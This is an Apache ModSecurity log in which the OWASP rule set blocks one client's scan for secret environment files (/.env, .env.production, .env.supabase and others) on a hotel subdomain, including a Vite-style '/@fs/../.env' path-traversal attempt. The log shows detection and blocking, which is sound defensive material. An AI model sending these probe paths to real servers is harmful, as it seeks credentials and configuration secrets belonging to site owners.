[Mon Oct 26 10:03:26.220817 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /@fs/src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ-gAAAAs"]
[Mon Oct 26 10:03:26.221003 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drokBAlsUe0HxPuSmFgAAAA4"]
[Mon Oct 26 10:03:26.221212 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drokBAlsUe0HxPuSmFgAAAA4"]
[Mon Oct 26 10:03:26.221236 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ-gAAAAs"]
[Mon Oct 26 10:03:26.221476 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/@fs/src/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ-gAAAAs"]
[Mon Oct 26 10:03:26.222290 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9driDi6FEnz4zo40NhbwAAAAk"]
[Mon Oct 26 10:03:26.222606 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9driDi6FEnz4zo40NhbwAAAAk"]
[Mon Oct 26 10:03:26.224090 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39296] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9driDi6FEnz4zo40NhbwAAAAk"]
[Mon Oct 26 10:03:26.243546 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev "3"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /@fs/../.env?import&raw??"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "7"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ-wAAAAs"]
[Mon Oct 26 10:03:26.244312 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5awAAACU"]
[Mon Oct 26 10:03:26.254328 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ-wAAAAs"]
[Mon Oct 26 10:03:26.254809 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ-wAAAAs"]
[Mon Oct 26 10:03:26.254893 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5awAAACU"]
[Mon Oct 26 10:03:26.255077 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrcZuT5gdeNd6aUJ-wAAAAs"]
[Mon Oct 26 10:03:26.255213 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5awAAACU"]
[Mon Oct 26 10:03:26.369168 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drtdWtrCZuT8sbNQ5bAAAACU"]
[Mon Oct 26 10:03:26.369623 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drtdWtrCZuT8sbNQ5bAAAACU"]
[Mon Oct 26 10:03:26.369772 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at9drrcZuT5gdeNd6aUJ_AAAAAs"]
[Mon Oct 26 10:03:26.369901 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drtdWtrCZuT8sbNQ5bAAAACU"]
[Mon Oct 26 10:03:26.369981 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at9drrcZuT5gdeNd6aUJ_AAAAAs"]
[Mon Oct 26 10:03:26.370304 2026] [security2:error] [pid 3040034:tid 3040034] [client 34.118.177.189:39332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at9drrcZuT5gdeNd6aUJ_AAAAAs"]
[Mon Oct 26 10:03:26.377485 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrGXTlA520hhAgG78AAAAA8"]
[Mon Oct 26 10:03:26.378353 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrGXTlA520hhAgG78AAAAA8"]
[Mon Oct 26 10:03:26.378669 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drrGXTlA520hhAgG78AAAAA8"]
[Mon Oct 26 10:03:26.411049 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5bQAAACU"]
[Mon Oct 26 10:03:26.411356 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5bQAAACU"]
[Mon Oct 26 10:03:26.411613 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drtdWtrCZuT8sbNQ5bQAAACU"]
[Mon Oct 26 10:03:26.412467 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drrGXTlA520hhAgG78QAAAA8"]
[Mon Oct 26 10:03:26.412864 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drrGXTlA520hhAgG78QAAAA8"]
[Mon Oct 26 10:03:26.413097 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39336] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at9drrGXTlA520hhAgG78QAAAA8"]
[Mon Oct 26 10:03:26.663245 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9drgt8dJFpdHay4jzKfAAAAAA"]
[Mon Oct 26 10:03:26.663781 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9drgt8dJFpdHay4jzKfAAAAAA"]
[Mon Oct 26 10:03:26.664101 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at9drgt8dJFpdHay4jzKfAAAAAA"]
[Mon Oct 26 10:03:26.665565 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drokBAlsUe0HxPuSmGAAAAA4"]
[Mon Oct 26 10:03:26.665877 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drokBAlsUe0HxPuSmGAAAAA4"]
[Mon Oct 26 10:03:26.666090 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env"] [unique_id "at9drokBAlsUe0HxPuSmGAAAAA4"]
[Mon Oct 26 10:03:26.683675 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9drgt8dJFpdHay4jzKfQAAAAA"]
[Mon Oct 26 10:03:26.684074 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9drgt8dJFpdHay4jzKfQAAAAA"]
[Mon Oct 26 10:03:26.684319 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39268] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "at9drgt8dJFpdHay4jzKfQAAAAA"]
